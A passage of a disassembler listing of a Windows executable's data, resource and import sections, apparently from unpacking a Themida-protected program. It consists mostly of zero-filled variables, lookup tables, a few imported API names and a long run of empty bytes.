dword_4DB4D0	dd 80h dup(0)		; DATA XREF: sub_418DB0+61o
					; sub_418DB0+89o ...
dword_4DB6D0	dd 81h dup(0)		; DATA XREF: sub_4186C2:loc_4186FAo
					; sub_4186C2+5Bo
dword_4DB8D4	dd 0			; DATA XREF: sub_419A21:loc_419A42r
					; sub_419B10+54r ...
dword_4DB8D8	dd 0			; DATA XREF: sub_419A21r
					; sub_419B10+37r ...
dword_4DB8DC	dd 0			; DATA XREF: sub_419A51+1Ar
					; sub_419C65+83o
dword_4DB8E0	dd 0			; DATA XREF: sub_419A21:loc_419A35r
					; sub_419C65+11Bw
dword_4DB8E4	dd 0Dh dup(0)		; DATA XREF: sub_419B10+13o
					; sub_419C65:loc_419DA2o
dword_4DB918	dd 0			; DATA XREF: sub_419B10+CDr
					; sub_419B10+ECr ...
		align 10h
dword_4DB920	dd 0Eh dup(0)		; DATA XREF: sub_41A88C+47o
dword_4DB958	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB95C	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB960	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB974	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB978	dd 2450B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB980	dd 2450B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB984	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB988	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB990	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB998	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB99C	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB9A0	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB9A4	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB9AC	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB9B0	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB9B8	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB9BA	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB9BE	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB9C0	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB9C2	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB9C8	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB9D0	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB9D4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB9D8	dd 0			; DATA XREF: sub_41F312r
dword_4DB9DC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB9E0	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB9E4	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB9EC	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB9F0	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB9F4	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB9F8	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB9FC	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DBA00	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DBA04	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DBA08	dd 0			; DATA XREF: sub_42255C+29r
dword_4DBA0C	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DBA14	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DBA24	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DBA2C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DBA30	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB990o
		align 10h
		dd 3Ah dup(0)
dword_4DBB38	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DBB3C	dd 0			; DATA XREF: sub_423590+21r
dword_4DBB40	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DBB44	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DBB48	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DBB50	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DBB52	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DBB54	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DBB70	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DBB74	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DBB78	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DBB7C	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DBB80	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4DBB88	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DBB90	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DBB94	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DBBD4	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DBBD6	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DBBD8	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DBBDA	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DBBDC	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DBBDE	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DBBE0	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DBBE2	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DBBE4	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DBBE8	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DBC28	dw 0			; DATA XREF: sub_424A4A+46r
word_4DBC2A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DBC2C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DBC2E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DBC30	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DBC32	dw 0			; DATA XREF: sub_424A4A+55r
word_4DBC34	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DBC36	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DBC38	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DBC3C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DBC40	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DBC44	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DBC48	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DBC4C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DBC50	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DBC54	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DBC58	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DBC5C	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DBC60	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DBC68	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DBC6C	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DBC70	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DBC74	db 0			; DATA XREF: sub_40D879r sub_40D879+9w
		align 4
dword_4DBC78	dd 2451140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		align 10h
dword_4DBC80	dd 400h	dup(0)		; DATA XREF: ___:off_43D0C8o
					; ___:0043D0D0o
dword_4DCC80	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DCCA0	dd 2450650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DCCA4	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DCDA0	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DCDA4	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DCDB0	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DCDBC	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DCDC0	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DCEC0	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DCEC1	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DCFC4	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DCFC8	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DCFCC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DCFD0	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DCFD4	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DCFD8	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DCFDC	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DCFE0	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DCFE4	dd 2450000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DCFE8	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DCFEC	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DCFF0	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DCFF4	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DCFF8	dd 2450758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DCFFC	dd 2450758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7w\w',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		db 0
		dd 113h	dup(0)
		db 0
		db    0			; DATA XREF: Themida_:005507B4o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
